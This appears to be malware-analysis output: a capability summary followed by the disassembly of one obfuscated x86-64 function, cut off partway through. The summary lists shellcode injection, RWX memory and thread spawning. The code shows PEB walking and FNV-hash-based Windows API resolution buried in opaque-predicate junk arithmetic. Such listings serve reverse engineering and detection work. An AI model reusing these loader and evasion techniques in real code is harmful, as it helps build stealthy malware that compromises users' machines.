Function at 0x14004d610
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Get kernel32 base address
Hash data using fnv
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rax, qword [0x14087b200]
xor rax, rsp
mov qword [rbp + 0x120], rax
xorps xmm0, xmm0
mov qword [rsp + 0x70], rcx
xor r15d, r15d
mov byte [rbp + 0x68], 0
xor eax, eax
mov dword [rbp + 0x6c], r15d
mov qword [rbp + 0x40], r15
mov r14, rcx
mov qword [rbp + 0x80], r15
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x118], rax
movups xmmword [rbp + 0x98], xmm0
mov byte [rbp - 0x78], 0
movups xmmword [rbp + 0xa8], xmm0
mov dword [rbp + 0x74], 0x101
movups xmmword [rbp + 0xb8], xmm0
movups xmmword [rbp + 0xc8], xmm0
movups xmmword [rbp + 0xd8], xmm0
movups xmmword [rbp + 0xe8], xmm0
movups xmmword [rbp + 0xf8], xmm0
movups xmmword [rbp + 0x108], xmm0
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 3
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
mov edi, 1
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
lea esi, [rdi + 6]
mov qword [rbp + 8], rdi
cmp eax, ecx
je 0x14004e1e9
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004da79
cmp qword [r14], r15
je 0x14004d755
cmp qword [r14 + 8], r15
je 0x14004d755
mov edx, edi
cmp qword [r14 + 0x18], r15
jne 0x14004d758
mov rdx, r15
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004d80a
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004d80a
mov r14d, esi
jmp 0x14004d8a0
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004d89b
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r14d, xmm0
jmp 0x14004d8a0
mov r14d, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 2
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r14d
test eax, eax
je 0x14004da74
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004d9d4
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
jne 0x14004da6d
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004da64
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
jmp 0x14004da68
mov eax, dword [rsp + 0x70]
cmp r15d, eax
jge 0x14004da74
mov dl, 1
jmp 0x14004decb
mov r14, qword [rsp + 0x70]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x14087f278]
mov r8, qword [rcx + 0x30]
test rax, rax
jne 0x14004db16
movsxd rax, dword [r8 + 0x3c]
mov r9d, r15d
mov r11d, dword [rax + r8 + 0x88]
mov ebx, dword [r11 + r8 + 0x20]
mov r10d, r9d
mov edx, 0x45ce8abf
lea rax, [r8 + r10*4]
mov ecx, dword [rax + rbx]
add rcx, r8
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14004daef
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14004dad0
cmp edx, 0xc4be5a8c
je 0x14004daf4
inc r9d
jmp 0x14004dab1
mov eax, dword [r11 + r8 + 0x24]
mov ecx, dword [r11 + r8 + 0x1c]
add rax, r8
add rcx, r8
movzx eax, word [rax + r10*2]
mov eax, dword [rcx + rax*4]
add rax, r8
mov qword [0x14087f278], rax
mov qword [r14 + 0x10], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x140880068]
mov r8, qword [rcx + 0x30]
test rax, rax
jne 0x14004dbc6
movsxd rax, dword [r8 + 0x3c]
mov r9d, r15d
mov r11d, dword [rax + r8 + 0x88]
mov ebx, dword [r11 + r8 + 0x20]
nop word [rax + rax]
mov r10d, r9d
mov edx, 0xe91e4e67
lea rax, [rbx + r10*4]
mov ecx, dword [rax + r8]
add rcx, r8
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14004db9f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14004db80
cmp edx, 0x4d5d816f
je 0x14004dba4
inc r9d
jmp 0x14004db60
mov eax, dword [r11 + r8 + 0x24]
mov ecx, dword [r11 + r8 + 0x1c]
add rax, r8
add rcx, r8
movzx eax, word [rax + r10*2]
mov eax, dword [rcx + rax*4]
add rax, r8
mov qword [0x140880068], rax
mov qword [r14], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x14087f260]
mov r8, qword [rcx + 0x30]
test rax, rax
jne 0x14004dc76
movsxd rax, dword [r8 + 0x3c]
mov r9d, r15d
mov r11d, dword [rax + r8 + 0x88]
mov ebx, dword [r11 + r8 + 0x20]
nop word [rax + rax]
mov r10d, r9d
mov edx, 0x83b6a813
lea rax, [rbx + r10*4]
mov ecx, dword [rax + r8]
add rcx, r8
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14004dc4f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14004dc30
cmp edx, 0xd165f6fb
je 0x14004dc54
inc r9d
jmp 0x14004dc10
mov eax, dword [r11 + r8 + 0x24]
mov ecx, dword [r11 + r8 + 0x1c]
add rax, r8
add rcx, r8
movzx eax, word [rax + r10*2]
mov eax, dword [rcx + rax*4]
add rax, r8
mov qword [0x14087f260], rax
mov qword [r14 + 8], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x14087f258]
mov r8, qword [rcx + 0x30]
test rax, rax
jne 0x14004dd26
movsxd rax, dword [r8 + 0x3c]
mov r9d, r15d
mov r11d, dword [rax + r8 + 0x88]
mov ebx, dword [r11 + r8 + 0x20]
nop word [rax + rax]
mov r10d, r9d
mov edx, 0x4c3637d3
lea rax, [rbx + r10*4]
mov ecx, dword [rax + r8]
add rcx, r8
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14004dcff
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14004dce0
cmp edx, 0x45348267
je 0x14004dd04
inc r9d
jmp 0x14004dcc0
mov eax, dword [r11 + r8 + 0x24]
mov ecx, dword [r11 + r8 + 0x1c]
add rax, r8
add rcx, r8
movzx eax, word [rax + r10*2]
mov eax, dword [rcx + rax*4]
add rax, r8
mov qword [0x14087f258], rax
mov qword [r14 + 0x18], rax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
imul ebx, ecx, 7
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004de15
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
jne 0x14004deae
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004dea5
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
jmp 0x14004dea9
mov eax, dword [rsp + 0x70]
cmp r15d, eax
jge 0x14004dec7
cmp qword [r14], r15
je 0x14004dec3
cmp qword [r14 + 8], r15
je 0x14004dec3
cmp qword [r14 + 0x18], r15
je 0x14004dec3
mov dl, 1
jmp 0x14004decb
xor dl, dl
jmp 0x14004decb
movzx edx, byte [rbp - 0x58]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor dl, 1
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movzx eax, dl
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004df82
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004df82
mov edi, esi
jmp 0x14004e016
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004e012
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
jmp 0x14004e016
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
je 0x14004e1e9
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 2
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004e149
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
jne 0x14004e1e2
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004e1d9
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
jmp 0x14004e1dd
mov eax, dword [rsp + 0x70]
cmp r15d, eax
jge 0x14004e1e9
xor al, al
jmp 0x14005af4f
mov qword [rsp + 0x2a8], r12
lea rdx, [rbp + 0x10]
mov qword [rsp + 0x2b0], r13
lea rcx, [rbp - 0x57]
movaps xmmword [rsp + 0x260], xmm6
movaps xmmword [rsp + 0x250], xmm7
movaps xmmword [rsp + 0x240], xmm8
movaps xmmword [rsp + 0x230], xmm9
mov dword [rbp + 0x78], r15d
mov byte [rbp - 0x57], r15b
call fcn.1400426b0
movsd xmm7, qword [0x1406ab4c0]
mov r14, rax
movsd xmm8, qword [0x1406ab4b8]
movsd xmm9, qword [0x1406ab4b0]
cmp byte [rax], r15b
jne 0x14004f146
movsd xmm6, qword [0x1406ab4a8]
mov r12d, dword [rsp + 0x70]
mov r13d, dword [rsp + 0x70]
mov dword [rsp + 0x60], r15d
mov ecx, dword [rsp + 0x60]
mov r15d, dword [rsp + 0x70]
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
shl ebx, 2
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004e54a
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004e358
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004e358
mov r15d, esi
jmp 0x14004e3e7
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004e3e7
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r15d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004e491
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004e491
mov r12d, esi
jmp 0x14004e520
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004e520
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r12d, xmm0
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
and r8d, r12d
add r8d, r8d
mov edx, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
sub edx, r8d
add edx, r15d
mov dword [r14 + rax*4 + 4], edx
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004ee50
call fcn.140012bd0
movsx edx, byte [0x14087fc72]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*4]
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004e868
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004e672
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004e672
mov r13d, esi
jmp 0x14004e701
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004e701
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r13d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14004e7ac
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14004e7ac
mov dword [rbp - 0x68], esi
jmp 0x14004e83d
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
